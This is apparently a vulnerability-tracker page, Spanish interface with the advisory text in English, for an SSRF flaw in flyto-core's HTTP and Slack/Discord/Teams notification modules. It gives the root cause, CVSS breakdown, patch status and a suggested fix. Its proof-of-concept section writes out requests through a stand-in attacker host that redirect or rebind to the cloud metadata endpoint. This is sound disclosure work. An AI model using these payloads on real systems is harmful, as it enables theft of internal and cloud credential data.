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Advisory · GitHub · PyPI · flyto-core

GHSA-CJG2-QMRG-6H4H

SSRF via unrevalidated redirects and DNS rebinding in core.api.http_* and notification.{slack,discord,teams} modules

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CVSS 3.1
8.5
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición110 dDesde la divulgación, 2 ago 2026, 12:10 p. m.
Detección108 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.26.11
Monitoreo
Detectada +1
2 ago 26
18 nov 26
20 nov 26
2 ago 26
30 ago 26
26 sept 26
24 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-CJG2-QMRG-6H4H divulgada · CVSS 8.5 (GitHub)
Remediación Parche 2.26.11 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
The `core.api.http_get`/`http_post` modules and the `notification.{slack,discord,teams}.send_message` modules validate only the INITIAL request URL with `enforce_outbound_url`, then issue the request through a plain `aiohttp.ClientSession()` with aiohttp's default `allow_redirects=True` and the default DNS resolver. There is no per-hop redirect re-validation and no connect-time IP pinning, so an authenticated attacker bypasses the SSRF guard via (a) an attacker-controlled 3xx redirect to an internal target, or (b) DNS rebinding.

## Root Cause
The hardening commit `0a0a528` upgraded `http.get`/`http.request`/`http.batch` to the FULL treatment (`guarded_client_session` for connect-time IP pinning + `guarded_aiohttp_request` for per-hop revalidation), but gave `core.api.*` and `notification.*` only the initial-URL `enforce_outbound_url` check.
- `src/core/modules/third_party/developer/http/requests.py`: `enforce_outbound_url(url)` at :87/:186, then plain `aiohttp.ClientSession().get(url)` / `.post(url)` at :92-93/:202-203 (no `allow_redirects` arg → default True; no guarded connector). Full `{status_code, headers, body}` returned at :104-108 → readable.
- `src/core/modules/third_party/communication/messaging/{slack,discord,teams}.py`: `enforce_outbound_url(webhook_url)` at slack.py:152 / discord.py:135 / teams.py:135, then plain `aiohttp.ClientSession().post(...)` at slack.py:175 / discord.py:158 / teams.py:168. Blind (status-checked, body not reflected).

The `GHSA-c9hr-64h3-gxpc` (redirect revalidation) advisory names ONLY `http.get`/`http.request`/`http.batch`; `GHSA-pfg2-w999-497v`/`GHSA-6pm8-6f34-9v3g` (DNS rebinding) concern the shared guard's per-module connector; `GHSA-2mr3-rxrq-238c` is a standalone advisory for the identical redirect bug on `http.paginate`. None of these enumerate `core.api.*` or `notification.*`. This is a distinct, un-enumerated, unfixed code path fixed by a different patch than the initial-URL gap (GHSA-pgwh-4jj4-qm8v).

## Impact
Authenticated (PR:L) SSRF. `core.api.*` path reflects the response body → readable SSRF (metadata/internal read, C:H). The notification modules give a blind POST-SSRF primitive where the attacker controls the POST body via `content`/`sections` (drive internal POST APIs). Scope Changed (module sandbox → internal network authority).

## Proof of Concept
`core.api.http_get {url:"https://attacker.tld/r"}` where `attacker.tld/r` returns `302 Location: http://169.254.169.254/latest/meta-data/...` → metadata body appears in `result['body']`.
Rebind variant: `url:"http://rebind.attacker.tld/"` with TTL-0 DNS (public IP for the guard's `getaddrinfo`, private IP at connect time).
Notification variant: `notification.discord.send_message {webhook_url:"https://attacker.tld/r", content:"<internal API body>"}` → POST replayed to the internal host the 302 points at.

## Attack Chain
1. Entry: authed execute_module `core.api.http_get {url:"https://attacker.tld/r"}` (attacker endpoint returns `302 Location: http://169.254.169.254/...`).
Guard: `enforce_outbound_url(url)` at requests.py:87. Bypass proof: validates `attacker.tld` (public) → passes; the redirect target is never re-checked.
2. Sink: `aiohttp.ClientSession().get(url)` at :93 with no `allow_redirects` arg → default True. aiohttp transparently follows the 302 into internal space.
3. Rebind alt: guard's `getaddrinfo` returns a public IP; the plain `TCPConnector` re-resolves at connect → private IP (no `ssrf_guarded_connector`).
4. Impact: internal/metadata body returned in `result['body']` (readable) / POST replayed to internal host (blind notification path).

## Bypass Evidence
`git show 0a0a528 -- src/core/modules/third_party/developer/http/requests.py` shows ONLY `+ enforce_outbound_url(url)` added, whereas `http/get.py` received `guarded_client_session` + `guarded_aiohttp_request`. `grep -n "allow_redirects|guarded_" requests.py slack.py discord.py teams.py` → 0 matches (only `enforce_outbound_url` present). Branch asymmetry confirmed.

## Affected Versions
`flyto-core <= 2.26.10` (sinks present on the v2.26.10 release tag).

## Suggested Fix
Replace the plain `aiohttp.ClientSession()` in `requests.py` and the three messaging modules with the existing `guarded_client_session` and route requests through `guarded_aiohttp_request` (per-hop revalidation + connect-time IP pinning) — the same fix already applied to `http.*`. One patch fixes all five modules.

---
Reported by zx (Jace) — GitHub: @manus-use

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≤ 2.26.10
2.26.10
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.26.11 0 d 2.41.0 no afectada
Versiones corregidas2.26.11
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-cjg2-qmrg-6h4h

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